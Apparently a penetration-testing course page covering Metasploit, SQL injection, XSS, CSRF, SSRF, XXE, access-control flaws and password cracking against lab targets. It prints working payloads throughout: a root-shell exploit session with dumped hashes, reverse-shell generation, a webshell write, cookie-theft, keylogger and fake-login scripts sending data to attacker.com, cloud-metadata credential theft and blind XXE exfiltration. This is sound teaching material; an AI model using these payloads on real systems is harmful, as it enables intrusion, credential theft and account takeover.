PHASE 2 · WEEK 4 · EXPLOITATION FUNDAMENTALS
// PHASE 2 — ENUMERATION & EXPLOITATION → WEEK 4 OF 4

BREAK
EVERYTHING.

Seven days of hands-on exploitation — Metasploit framework, your first real shell, SQL injection at depth, XSS and CSRF attacks, SSRF and XXE, OWASP Top 10, and password cracking with Hashcat. Phase 2 ends with a full HackTheBox machine walkthrough.

Metasploit Meterpreter SQL Injection XSS / CSRF SSRF / XXE Hashcat / John OWASP Top 10 HackTheBox
22

METASPLOIT FRAMEWORK

TOOLLAB msfconsole · Exploits · Payloads · Meterpreter · First Shell

WEEK 4 PROGRESS — DAY 22 OF 28
💀

Today you get your first real shell. Metasploit Framework is the world's most widely used exploitation framework — trusted by pentesters, red teams, and (unfortunately) attackers worldwide. It's a library of 2,300+ exploits, 1,000+ payloads, and powerful post-exploitation tools. After today, you'll go from "I found a vulnerability" to "I have a shell and full control."

// 22.1 — METASPLOIT ARCHITECTURE
COMPONENTWHAT IT ISEXAMPLE
ExploitThe code that takes advantage of a vulnerability to gain executionexploit/unix/ftp/vsftpd_234_backdoor
PayloadThe code that runs AFTER the exploit succeeds — what you actually do with accesspayload/cmd/unix/interact, windows/meterpreter/reverse_tcp
AuxiliaryModules that don't exploit — scanners, fuzzers, brute-forcers, denial of serviceauxiliary/scanner/smb/smb_ms17_010
PostPost-exploitation modules — run AFTER you have a shell to escalate, persist, pivotpost/multi/recon/local_exploit_suggester
EncoderTransform payloads to evade antivirus signature detectionencoder/x86/shikata_ga_nai
MeterpreterAdvanced in-memory payload — lives in RAM, never touches disk, hard to detectFull filesystem, webcam, keylogger, pivoting
// 22.2 — msfconsole COMPLETE WORKFLOW
1
msfconsole
Launch Metasploit. The msf6 > prompt appears. Everything happens here.
2
search vsftpd
Search the module library. Find the exploit matching the vulnerability nmap found in Week 3.
3
use 0
Select module by index number. Prompt changes to msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
4
info
Read the module details — vulnerability description, CVE, required options, reliability rating. Always read this before using a module.
5
show options
See required and optional parameters. RHOSTS (target IP) is always required. LHOST/LPORT needed for reverse shells.
6
set RHOSTS <IP>
Set the target. Always verify you have the right IP — mistakes here could hit unintended systems.
7
run / exploit
Execute the exploit. Watch the output — success gives you a shell session. Failure gives error details for troubleshooting.
8
sessions -l
List all open sessions. Multiple targets? Multiple sessions. Switch between them: sessions -i 1
// 22.3 — YOUR FIRST REAL EXPLOIT: vsftpd 2.3.4 BACKDOOR
🎯

This is real. CVE-2011-2523 is an actual backdoor that was secretly inserted into the vsftpd 2.3.4 source code distribution in 2011. When a username containing a smiley face ":)" is sent to the FTP server, it opens a root shell on port 6200. Metasploitable 2 runs this exact version. You are about to exploit a real CVE against a real vulnerable service.

EXPLOITING vsftpd 2.3.4 BACKDOOR — FULL SESSION
kali$ msfconsole -q msf6 > search vsftpd Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution msf6 > use 0 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101 RHOSTS => 192.168.56.101 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run [*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.56.101:21 - USER: 331 Please specify the password. [+] 192.168.56.101:21 - Backdoor service has been spawned, handling... [+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (192.168.56.100:51234 -> 192.168.56.101:6200) id uid=0(root) gid=0(root) groups=0(root) whoami root hostname metasploitable cat /etc/shadow root:$1$nUP0OmFM$Hc6sSkyq3q0oVnwMfCvGY/:13831:0:99999:7::: msfadmin:$1$XN10Zj2c$Rt/nt1it8BBFfa15LEENX1:14684:0:99999:7::: postgres:$1$Mq2GxJOX$wFU8NWvxqXXw5RNJBW/al.:14684:0:99999:7::: # YOU ARE ROOT. Full system compromise in 4 commands. # The shadow file contains password hashes for ALL users — crack them in Day 27 cat /root/proof.txt # In CTFs, root flag is usually here THM{vsftpd_r00t_pwned}
// 22.4 — STAGED vs STAGELESS PAYLOADS
TYPENOTATIONHOW IT WORKSWHEN TO USE
Staged windows/meterpreter/reverse_tcp
(slash between meterpreter and reverse_tcp)
Small first stage ("stager") runs on target, connects back to Metasploit, downloads the full payload in memory. Two-stage delivery. When payload size is constrained (buffer overflows with limited space). Requires stable C2 connection.
Stageless windows/meterpreter_reverse_tcp
(underscore — no slash)
Single self-contained payload. Everything is included. Larger file but works even if outbound connection to Metasploit drops after initial execution. When reliability matters more than size. Better for unstable connections.
// 22.5 — METERPRETER: YOUR POST-EXPLOITATION SWISS ARMY KNIFE
sysinfo
OS name, computer name, architecture, domain. First command after shell.
getuid
Current user context. Check if you're SYSTEM/root or need privesc.
getsystem
Attempt automatic Windows privilege escalation to SYSTEM. Tries multiple techniques.
hashdump
Dump local Windows SAM database — all local user password hashes. Crack offline with Hashcat.
ps
List all running processes with PIDs. Look for SYSTEM-owned processes to migrate into.
migrate <PID>
Move Meterpreter into another process. Migrate to a stable SYSTEM process for persistence.
upload / download
Transfer files to/from the target. Upload tools, download loot (databases, config files).
shell
Drop into a native OS shell (cmd.exe or /bin/bash). Run standard commands.
run post/...
Run post-exploitation modules: local_exploit_suggester, credential_collector, arp_scanner for pivoting.
keyscan_start
Start keylogger. Capture everything typed on the target machine.
screenshot
Capture the current desktop screenshot. See what the user sees.
background / Ctrl+Z
Background session to return to msfconsole. Session stays open.
// DAY 22 — QUIZ
You get a Meterpreter shell on a Windows machine. getuid shows NT AUTHORITY\NETWORK SERVICE. You want to dump password hashes with hashdump but it fails. What is the correct sequence to get it working?
A Background session and re-exploit to get a new session with higher privileges
B ps to find a SYSTEM-owned process, migrate into it, then retry hashdump
C Run load kiwi to use Mimikatz — it bypasses the privilege requirement
D Use hashdump -force flag to override the permission requirement
// DAY 22 — LAB
LAB TASKS
  • Launch msfconsole. Search for "vsftpd". Use the backdoor exploit. Set RHOSTS to your Metasploitable IP. Run it. Confirm you have a root shell with id.
  • From the root shell: cat /etc/shadow. Copy all hashes — you'll crack them on Day 27.
  • Search for exploit/multi/samba/usermap_script — this exploits another Metasploitable service (Samba). Exploit it. Compare the shell you get.
  • Set up a Meterpreter session: search exploit/multi/handler, set payload to linux/x86/meterpreter/reverse_tcp, set LHOST to your Kali IP, run. This is your listener for custom payloads.
  • Generate a payload: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=4444 -f elf -o shell.elf. Upload to Metasploitable. Execute it. See your Meterpreter session open.
  • In Meterpreter: run sysinfo, getuid, ps, screenshot, and download /etc/passwd /tmp/passwd_loot.txt.
23

SQL INJECTION

THEORYLAB Manual SQLi · UNION Attacks · Blind SQLi · sqlmap

WEEK 4 PROGRESS — DAY 23 OF 28
💉

SQL Injection has been the #1 web vulnerability for over two decades. It occurs when user input is concatenated directly into SQL queries without sanitization. The attacker's input becomes part of the query logic — allowing database extraction, authentication bypass, file read/write, and in some cases remote code execution. It's so common because developers keep making the same mistake.

// 23.1 — WHY SQLi HAPPENS
VULNERABLE CODE (PHP)
// Vulnerable — string concatenation $id = $_GET['id']; $query = "SELECT * FROM users WHERE id = '$id'"; // User sends: id=1' OR '1'='1 // Query becomes: // SELECT * FROM users WHERE id = '1' OR '1'='1' // Returns ALL rows — authentication bypass!
SECURE CODE (Prepared Statements)
// Secure — parameterized query $stmt = $pdo->prepare( "SELECT * FROM users WHERE id = ?" ); $stmt->execute([$_GET['id']]); // Input is NEVER part of the SQL syntax. // '1' OR '1'='1' is treated as a literal // string — not SQL. Attack fails completely.
// 23.2 — SQLi TYPES

⚗️ SQLi PAYLOAD REFERENCE — CLICK TO EXPLORE

Auth Bypass
UNION Attack
Blind Boolean
Time-Based Blind
Error-Based
Stacked / RCE
username: admin'-- password: anything Resulting query: SELECT * FROM users WHERE username='admin'--' AND password='anything' ↑ -- comments out everything after — password check removed! Login succeeds as admin with NO password knowledge. Other variants: ' OR 1=1-- ' OR 'a'='a admin'/* ') OR ('1'='1
Authentication bypass payloads terminate the WHERE clause early using comments (-- or /**/) or inject always-true conditions. The most impactful single-payload SQLi — directly becomes admin without knowing any credentials. Test every login form's username field with admin'-- first.
Step 1 — Find number of columns: ' ORDER BY 1-- (no error) ' ORDER BY 2-- (no error) ' ORDER BY 3-- (error! → 2 columns) Step 2 — UNION to extract data: ' UNION SELECT 1,2-- (find which columns display) ' UNION SELECT username,password FROM users-- ' UNION SELECT table_name,2 FROM information_schema.tables-- ' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'-- Full extraction: ' UNION SELECT username,password FROM users-- → Returns ALL usernames and password hashes from the users table
UNION attacks append a second SELECT to the original query, returning data from a completely different table. Prerequisites: must match the number of columns in the original query, and the data types must be compatible. information_schema is the MySQL metadata database — it contains the names of every table and column in every database.
No data returned in response — but behavior changes based on true/false. ' AND 1=1-- → page loads normally (true) ' AND 1=2-- → page changes / breaks (false) Extract data character by character: ' AND SUBSTRING(username,1,1)='a'-- → normal (username starts with 'a') ' AND SUBSTRING(username,1,1)='b'-- → breaks (not 'b') ' AND SUBSTRING(username,2,1)='d'-- → normal (2nd char is 'd') ... → After 20+ requests: username = 'admin' Extract password hash: ' AND SUBSTRING(password,1,1)='5'-- ' AND ASCII(SUBSTRING(password,1,1))>100-- (binary search — faster)
Blind SQLi occurs when the application is vulnerable but shows no database output — only a behavioral difference (page changes, error shows vs doesn't). You extract data by asking true/false questions. Automating this with sqlmap is essential — manually extracting a 32-char MD5 hash requires ~160+ requests per character using binary search.
No visible difference in response — only response time changes. ' AND SLEEP(5)-- → 5-second delay confirms SQLi (MySQL) '; WAITFOR DELAY '0:0:5'-- → SQL Server version ' AND pg_sleep(5)-- → PostgreSQL version Extract data via timing: ' AND IF(SUBSTRING(username,1,1)='a', SLEEP(5), 0)-- → 5-second delay = first char is 'a' → Instant response = not 'a', try next character Fully automated time-based extraction: sqlmap -u "http://target.com/page?id=1" --technique=T --dbs
Time-based blind SQLi is the most difficult to exploit manually — each bit of information requires measuring response time. Used when Boolean-based blind fails (application shows same response regardless). sqlmap handles this automatically, using binary search to minimize the number of requests needed.
Force database errors that reveal data in the error message. MySQL: ' AND extractvalue(1,concat(0x7e,(SELECT version())))-- → Error: XPATH syntax error: '~5.5.61-0ubuntu0.14.04.1' ' AND extractvalue(1,concat(0x7e,(SELECT user())))-- → Error: XPATH syntax error: '~root@localhost' ' AND updatexml(1,concat(0x7e,(SELECT password FROM users LIMIT 1)),1)-- → Error: XPATH syntax error: '~5f4dcc3b5aa765d61d8327deb882cf99' ↑ MD5 hash of "password"!
Error-based SQLi uses database functions that force errors containing the data you want to extract. The error message appears in the HTTP response body. Faster than blind SQLi since each request returns actual data, not just true/false. Requires verbose errors to be enabled — production systems often suppress these, falling back to blind techniques.
Stacked queries (multiple statements separated by ;): '; DROP TABLE users;-- ← destructive! NEVER in pentest! '; INSERT INTO admins VALUES('hacker','pwned');-- '; CREATE USER 'backdoor'@'%' IDENTIFIED BY 'pass';-- File operations (MySQL with FILE privilege): ' UNION SELECT "",2 INTO OUTFILE '/var/www/html/shell.php'-- → Writes a PHP webshell to the web root! → Access: http://target.com/shell.php?cmd=id Reading files: ' UNION SELECT LOAD_FILE('/etc/passwd'),2-- → Returns /etc/passwd contents in the response!
Stacked queries and file operations represent the highest-impact SQLi. File write to web root = Remote Code Execution (RCE) — you can execute any OS command. LOAD_FILE reads arbitrary files the MySQL process can access. These require the MySQL user to have FILE privilege (common in development databases, rare in hardened production). This converts a database vulnerability into full server compromise.
// 23.3 — sqlmap: AUTOMATED SQLi
sqlmap — AUTOMATED SQL INJECTION EXPLOITATION
# ── BASIC USAGE ─────────────────────────────────────────────── $ sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=abc123;security=low" \ --dbs # --dbs = enumerate all databases [*] starting @ 14:30:00 [*] testing connection to the target URL [*] checking if the target is protected by some kind of WAF/IPS [!] heuristic (basic) test shows that GET parameter 'id' might be injectable [*] testing for SQL injection on GET parameter 'id' [14:30:01] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind' injectable [14:30:02] [INFO] GET parameter 'id' is 'MySQL UNION query' injectable available databases [3]: [*] dvwa [*] information_schema [*] mysql # ── EXTRACT TABLES FROM DATABASE ───────────────────────────── $ sqlmap -u "http://.../?id=1" --cookie="..." -D dvwa --tables Database: dvwa [2 tables]: +----------+ | guestbook| | users | +----------+ # ── DUMP THE USERS TABLE ───────────────────────────────────── $ sqlmap -u "http://.../?id=1" --cookie="..." -D dvwa -T users --dump Database: dvwa Table: users +-----+----------+----------------------------------+ | id | user | password | +-----+----------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | ← MD5("password") | 2 | gordonb | e99a18c428cb38d5f260853678922e03 | ← MD5("abc123") | 3 | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | ← MD5("charley") +-----+----------+----------------------------------+ # ── OS SHELL (if MySQL has FILE privilege) ─────────────────── $ sqlmap -u "http://.../?id=1" --cookie="..." --os-shell [*] trying to upload file stager on '/var/www/' [*] your SQL shell: os-shell> id uid=33(www-data) gid=33(www-data) groups=33(www-data) # ── USEFUL FLAGS ───────────────────────────────────────────── --level=5 # Increase test depth (1-5, default 1) --risk=3 # Increase risk of tests (1-3, default 1) --technique=BEUST # Specific techniques: B=boolean E=error U=union S=stack T=time --batch # Never ask questions, use defaults (script-friendly) --threads=10 # Parallel requests (faster) --forms # Auto-detect and test HTML forms --crawl=3 # Spider site 3 levels deep before testing
// DAY 23 — QUIZ
You test a login form with admin'-- as username and any password. You get "Invalid credentials." You then try admin' OR '1'='1'-- and also get "Invalid credentials." But when you try admin' AND SLEEP(5)--, the response takes exactly 5 seconds. What does this tell you?
A The server is slow — 5 seconds is normal latency, not SQLi
B The login form is vulnerable to boolean-based blind SQLi
C Time-based blind SQLi confirmed — the query executes but the app returns identical responses for true/false, so only timing reveals the vulnerability
D A WAF is blocking your attempts and adding a 5-second delay as a penalty
24

CROSS-SITE SCRIPTING (XSS)

THEORYLAB Reflected · Stored · DOM-Based · Cookie Theft · Defacement

WEEK 4 PROGRESS — DAY 24 OF 28
📜

XSS is the most prevalent web vulnerability. It occurs when user-supplied input is reflected in a web page without proper encoding, allowing an attacker to inject JavaScript that executes in victim browsers. The attacker's code runs with the same privileges as the page — meaning it can steal cookies, redirect users, log keystrokes, and make API requests on behalf of the victim.

// 24.1 — THREE TYPES OF XSS
TYPEWHERE PAYLOAD LIVESWHO IS AFFECTEDSEVERITY
Reflected URL parameter — reflected immediately in response. Not stored. Only users tricked into clicking a crafted URL. Requires social engineering. Medium–High
Stored (Persistent) Saved in database — returned to all users who view the page. EVERY user who views the page containing the payload. No social engineering needed. Critical
DOM-Based JavaScript in the page reads from URL/storage and writes to DOM without going to server. Users tricked into visiting crafted URLs. The payload never reaches the server — bypasses server-side filters. Medium–High
// 24.2 — XSS PAYLOAD LIBRARY

📌 XSS PAYLOADS — FROM DETECTION TO EXPLOITATION

Detection
Cookie Theft
Keylogger
Filter Bypass
DOM-Based
<script>alert(1)</script> <script>alert(document.domain)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)> <input autofocus onfocus=alert(1)> <details open ontoggle=alert(1)> # If alert(1) pops — XSS confirmed. document.domain shows which origin executes. # Try all variants — different contexts need different tags. # No alert? The tag might be filtered. Try the bypass tab.
Basic detection: inject into every input field and URL parameter. The goal is just to confirm JavaScript execution — not to alert per se, but alert(1) is the universal "it works" signal. In a real engagement, you'd never stop at alert() — it's just proof-of-concept for the report before moving to impact demonstration.
# Cookie theft — steal session token and send to attacker's server <script> document.location='https://attacker.com/steal?c='+encodeURIComponent(document.cookie) </script> # Image-based (less visible, more reliable): <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> # XSS Hunter / Interactsh — blind XSS detection: <script src="https://your-xss-hunter.xss.ht"></script> # Fires callback when any user (including admins) triggers your payload # Captures cookies, URL, DOM, screenshots — even if you can't see the response # Your steal server (simple Python): # python3 -c "from http.server import *; HTTPServer(('',80),BaseHTTPRequestHandler).serve_forever()" # → watch requests in terminal: GET /steal?c=PHPSESSID=abc123... # → paste that cookie into your browser → you ARE the victim
Cookie theft converts XSS into account takeover. The victim clicks a link or visits a page with your stored payload — their browser sends their session cookie to your server. You use that cookie in your browser, bypassing authentication entirely. This is why HttpOnly cookie flag exists — it blocks document.cookie access. But even with HttpOnly, you can still make authenticated API requests on their behalf from within the XSS.
# Keylogger — capture everything typed on the page <script> document.addEventListener('keydown', function(e) { fetch('https://attacker.com/keys?k=' + encodeURIComponent(e.key)); }); </script> # Form hijack — intercept form submission data <script> document.querySelector('form').addEventListener('submit', function(e) { var data = new FormData(this); fetch('https://attacker.com/form', { method: 'POST', body: JSON.stringify(Object.fromEntries(data)) }); }); </script> # Credential harvesting — inject fake login form overlay <script> document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff">' + '<form action="https://attacker.com/creds" method="POST">' + '<h3>Session expired. Please re-enter credentials.</h3>' + '<input name="user" placeholder="Username">' + '<input type="password" name="pass" placeholder="Password">' + '<button>Login</button></form></div>'; </script>
Advanced XSS exploitation goes far beyond alert(). Keyloggers capture credentials in real-time. Form hijacking intercepts login submissions before they reach the real server. Fake login overlays (phishing within the legitimate domain) are extremely convincing because the URL bar shows the real site — victims have no reason to suspect the login form is fake. These are all real attacks documented in bug bounty reports.
# Common filter bypasses when <script> is blocked: <ScRiPt>alert(1)</ScRiPt> # Case variation <script>alert`1`</script> # Backtick instead of () <svg/onload=alert(1)> # SVG event handler <img src=1 onerror=alert(1)> # Error event <iframe onload=alert(1)> # iframe event javascript:alert(1) # In href attribute context # When quotes are filtered: <img src=x onerror=alert(String.fromCharCode(88,83,83))> <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script> # Double encoding (URL encoded once more): %253Cscript%253Ealert(1)%253C%2Fscript%253E # Some WAFs decode once, see %3Cscript, block it. # But server decodes again: %3C → < → <script> passes through! # HTML entity encoding bypass: &#60;script&#62;alert(1)&#60;/script&#62;
WAFs and filters look for specific patterns — <script>, onerror=, javascript:. Bypasses work by using the browser's permissive parsing against the filter's rigid pattern matching. Browsers accept uppercase tags, backtick syntax, and event handlers in dozens of HTML elements. The PortSwigger XSS cheat sheet (portswigger.net/web-security/cross-site-scripting/cheat-sheet) has 600+ bypass payloads organized by context.
# DOM XSS: vulnerable JavaScript reads from URL, writes to DOM # Vulnerable code: document.getElementById('search').innerHTML = location.search.split('search=')[1]; # URL: http://target.com/search?search=<img src=x onerror=alert(1)> # The payload is never sent to the server — it lives only in the URL # Server-side filters see nothing. WAF sees nothing. Browser executes it. # Common DOM sources (attacker-controlled input): location.href # Entire URL location.search # ?query=string location.hash # #fragment document.referrer # Referrer header window.name # Window name (cross-tab) # Common DOM sinks (dangerous functions that execute input): innerHTML # ← Most dangerous: parses HTML including scripts document.write() # ← Dangerous: writes directly to document eval() # ← Execute as code setTimeout(input,0) # ← Execute as code after delay location.href = input # ← javascript: URI possible
DOM-based XSS is the hardest to detect because it's invisible to server-side scanners — the payload travels in the URL fragment (#) which browsers never send to the server. You must read the client-side JavaScript to find it. Look for JavaScript that reads from URL/document properties (sources) and writes to dangerous functions (sinks) without sanitization. PortSwigger's DOM Invader Burp extension automates DOM sink detection.
// DAY 24 — QUIZ
A blog application lets users post comments. You post: <script>document.location='https://evil.com/?c='+document.cookie</script> as a comment. It saves successfully. Three days later you receive 47 requests to evil.com with different session cookies. What type of XSS is this, and why is it far more dangerous than reflected XSS?
A Reflected XSS — 47 users all clicked your malicious link
B Stored (Persistent) XSS — payload saved in DB executes automatically for every user who views the page, requiring zero social engineering
C DOM-Based XSS — the JavaScript manipulated the DOM for each visitor
D CSRF attack — the comment form forged requests on behalf of users
25

CSRF · SSRF · XXE

THEORYLAB Request Forgery · Server-Side Requests · XML External Entities

WEEK 4 PROGRESS — DAY 25 OF 28
// 25.1 — CSRF: CROSS-SITE REQUEST FORGERY
THE CONFUSED DEPUTY ATTACK

CSRF tricks a victim's browser into making unauthorized requests to a site where they're authenticated. The browser automatically includes cookies — so the server sees a legitimate authenticated request. The victim doesn't know anything happened. The attacker never needs to see the response.

CSRF ATTACK — HTML PAYLOAD
<!-- On attacker's site: evil.com/trap.html --> <html> <body onload="document.forms[0].submit()"> <form action="https://bank.com/transfer" method="POST"> <input name="to" value="attacker_account"> <input name="amount" value="10000"> </form> </body></html> # Victim visits evil.com while logged into bank.com # Browser auto-submits the form with bank.com cookies # Bank sees legitimate transfer request from authenticated user # $10,000 transferred. Victim has no idea.
CSRF DEFENSES
  • CSRF Token: Unique secret per-form, verified server-side. Attacker can't know the token. Gold standard defense.
  • SameSite=Strict cookie: Browser won't send cookie on cross-site requests. Blocks most CSRF without any code.
  • Origin / Referer header check: Verify request originated from the same domain.
  • Custom Request Headers: Ajax requests with custom headers can't be forged cross-origin (CORS blocks them).
  • Re-authentication: Require password entry for sensitive actions (bank transfer, email change).
// 25.2 — SSRF: SERVER-SIDE REQUEST FORGERY
🔥

SSRF is one of the most critical modern web vulnerabilities — it rose to OWASP #10 in 2021. It occurs when a server makes HTTP requests based on attacker-controlled input. The attacker uses the server itself as a proxy to reach internal resources. In cloud environments, SSRF often leads to complete cloud account takeover via metadata endpoints.

SSRF ATTACK CHAINS
# Vulnerable code (server fetches URL from user input): # POST /fetch {"url": "https://legitimate-site.com/image.jpg"} # Server fetches the URL and returns content to user # ── INTERNAL NETWORK SCANNING via SSRF ──────────────────────── POST /fetch HTTP/1.1 {"url": "http://192.168.1.1"} ← probe internal router (200 = exists) {"url": "http://192.168.1.50:3306"} ← probe internal MySQL (response reveals it's open) {"url": "http://10.0.0.5:8080"} ← internal Jenkins? Kubernetes? Admin panel? # ── AWS METADATA ENDPOINT — THE CLOUD KILLER ────────────────── {"url": "http://169.254.169.254/latest/meta-data/"} → Returns: ami-id, hostname, iam, instance-action, instance-id... {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"} → Returns: EC2-role-name {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-role-name"} → Returns: { "AccessKeyId": "ASIAIOSFODNN7EXAMPLE", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", "Token": "AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk..." } # These are LIVE AWS credentials for the EC2 role. # Use them with aws-cli to access S3 buckets, RDS databases, Lambda functions. # This is how the Capital One breach happened — $80M fine, 100M records. # ── FILE READ via SSRF ──────────────────────────────────────── {"url": "file:///etc/passwd"} ← read local files (if file:// allowed) {"url": "file:///etc/shadow"} ← password hashes (needs root) {"url": "dict://127.0.0.1:6379/INFO"} ← probe Redis without HTTP
// 25.3 — XXE: XML EXTERNAL ENTITY INJECTION
WHEN XML PARSES ATTACKER CONTENT

XXE occurs when an application parses XML and the XML parser allows external entity references. An attacker-defined entity can reference local files, internal URLs, or execute OS commands in some parsers. Any application that accepts XML (SOAP APIs, file upload of .docx/.xlsx, SVG upload) is a potential target.

XXE PAYLOADS
# ── BASIC FILE READ ────────────────────────────────────────── <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root><data>&xxe;</data></root> # If the app returns the XML value in the response: # <data>root:x:0:0:root:/root:/bin/bash\nwww-data:x:33:33:...</data> # Complete /etc/passwd returned. Works on Java, .NET, Python lxml with old defaults. # ── SSRF via XXE ───────────────────────────────────────────── <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> # XXE makes the server fetch an internal URL — same impact as SSRF # ── BLIND XXE (out-of-band data exfiltration) ───────────────── <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://attacker.com/?d=%file;'>"> &eval; &exfil; # Server makes request to attacker.com with /etc/passwd as URL param # Attacker reads logs: GET /?d=root:x:0:0:root:/root:/bin/bash... # ── FIX: Disable external entities in your XML parser ───────── # Java: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) # Python: defusedxml library instead of standard xml.etree.ElementTree # PHP: libxml_disable_entity_loader(true) (before PHP 8.0)
// DAY 25 — QUIZ
A web app on AWS allows users to input a URL to "preview" an image from the internet. You input http://169.254.169.254/latest/meta-data/iam/security-credentials/ and the app returns EC2-WebServer-Role. What is your next step and what is the realistic worst-case impact?
A Fetch the instance hostname to identify the specific server model
B Stop and report immediately — you\'ve proven SSRF exists
C Fetch the full credentials URL for EC2-WebServer-Role, use the returned AWS keys with aws-cli to enumerate accessible S3 buckets, RDS, and IAM permissions
D Use the SSRF to scan the internal IP range (10.x.x.x) for open ports
26

IDOR & BROKEN ACCESS CONTROL

THEORYLAB OWASP Top 10 · Horizontal / Vertical Privilege Escalation · API Security

WEEK 4 PROGRESS — DAY 26 OF 28
🚪

Broken Access Control is OWASP #1 — the most common critical web vulnerability. 94% of tested applications had some form of broken access control. It's not about technical complexity — it's about the server trusting the client to police itself. Access control must be enforced server-side on every request. Client-side enforcement (hiding buttons, greying out fields) is purely cosmetic — Burp Suite ignores it entirely.

// 26.1 — THE OWASP TOP 10 (2021)
1
Broken Access Control
IDOR, privilege escalation, forced browsing, missing function-level auth
CRITICAL
2
Cryptographic Failures
Weak encryption, sensitive data in clear, MD5 passwords, no HTTPS
CRITICAL
3
Injection
SQL, NoSQL, OS command, LDAP injection — attacker controls query/command
CRITICAL
4
Insecure Design
Architectural flaws — threat modeling, missing rate limiting, insecure defaults
HIGH
5
Security Misconfiguration
Default credentials, unnecessary features enabled, verbose errors, unpatched systems
HIGH
6
Vulnerable Components
Using libraries/frameworks with known CVEs — Log4j, Spring4Shell
HIGH
7
Auth & Session Failures
Weak passwords, insecure session tokens, credential exposure, no MFA
HIGH
8
Software & Data Integrity
Unsigned updates, insecure CI/CD pipelines, deserialization attacks
MEDIUM
9
Security Logging Failures
No breach detection, insufficient monitoring, missing audit logs
MEDIUM
10
SSRF
Server-side request forgery — internal resource access via server proxy
HIGH
// 26.2 — IDOR: INSECURE DIRECT OBJECT REFERENCE
IDOR — TESTING METHODOLOGY IN BURP
# ── STEP 1: Create two accounts (attacker + victim) ────────── # Log in as attacker (user ID 1042) # Find requests that reference your own resource: GET /api/users/1042/profile HTTP/1.1 GET /api/orders/7891 HTTP/1.1 GET /api/documents/DOC-4521/download HTTP/1.1 # ── STEP 2: In Burp Repeater, change ID to victim's ────────── GET /api/users/1043/profile HTTP/1.1 ← victim's user ID {"id":1043,"name":"Jane Doe","email":"jane@corp.com","ssn":"123-45-6789"} # You have Jane's SSN. IDOR confirmed. CVSS 8.6 — High. # ── STEP 3: Check all HTTP methods ─────────────────────────── DELETE /api/orders/7892 HTTP/1.1 ← can you delete someone else's order? PUT /api/users/1043/role HTTP/1.1 ← can you change someone's role to admin? {"role": "admin"} # ── STEP 4: Automate with Burp Intruder ────────────────────── # Send to Intruder → mark ID as payload position → attack type: Sniper # Payload: Numbers, range 1000-9999, step 1 # Run → 200 responses with different body sizes = IDOR on every user account # Filter: Responses → Status=200 → grep for "email" or "ssn" # ── NON-NUMERIC IDOR (GUIDs/hashes are still guessable) ────── GET /api/files/abc123def456/download # Try other file IDs found in page source, API responses, error messages # Or enumerate via wordlist in Intruder if the namespace is guessable
// 26.3 — VERTICAL PRIVILEGE ESCALATION
FORCING ACCESS TO HIGHER-PRIVILEGE FUNCTIONS

IDOR is horizontal privilege escalation — accessing another user's resources at the same privilege level. Vertical escalation accesses functions that require higher privilege (admin functions, management APIs) by bypassing the access check — not by stealing credentials.

VERTICAL PRIVESC — TESTING IN BURP
# Admin panel hidden from standard users — but accessible if you know the URL: GET /admin/users HTTP/1.1 ← forced browsing to admin URL HTTP/1.1 200 OK ← no redirect to login = broken vertical access control # API endpoint only checks UI, not server-side: POST /api/admin/create-user HTTP/1.1 {"username":"backdoor","password":"hacked","role":"admin"} HTTP/1.1 201 Created ← admin account created by standard user! # Role stored in JWT — no server-side validation: # Decode JWT: {"sub":"user123","role":"user","exp":1234567890} # Modify: {"sub":"user123","role":"admin","exp":1234567890} # If JWT uses "alg":"none" or weak secret → forge admin token # Cookie with role in client-side storage (Burp shows in request): Cookie: role=user; session=abc123 # Modify to: Cookie: role=admin; session=abc123 → Response now shows admin dashboard ← server trusted the client-side role
// DAY 26 — QUIZ
You're testing a REST API. As a regular user, you send GET /api/v1/admin/users and receive a 200 with a list of all 50,000 users including hashed passwords. The front-end doesn't show an "Admin" menu to regular users. What is the vulnerability and why did hiding the menu fail as a security control?
A SQL Injection — the database returned too many records
B SSRF — you made the server access internal admin resources
D Information Disclosure — the API shouldn\'t return password hashes
27

PASSWORD ATTACKS

TOOLLAB Hashcat · John the Ripper · Credential Stuffing · Password Spraying

WEEK 4 PROGRESS — DAY 27 OF 28
🔑

Password attacks are the most common initial access vector. 80%+ of breaches involve credential compromise. Weak passwords, reused passwords, and credential dumps from other breaches are your primary inputs. The art is in choosing the right attack mode — brute-forcing 8-char bcrypt is computationally futile, but smart dictionary + rule attacks crack 60–80% of real-world MD5/NTLM hashes in minutes.

// 27.1 — HASH CRACKING SPEED REALITY CHECK

⚡ GPU CRACKING SPEEDS — RTX 4090 (Single GPU)

MD5 — 8 chars
Seconds
NTLM — 8 chars
Under 1 sec
SHA-256 — 8 chars
~2 minutes
SHA-512 — 8 chars
~30 minutes
bcrypt (cost 12) — 8 chars
~6 years
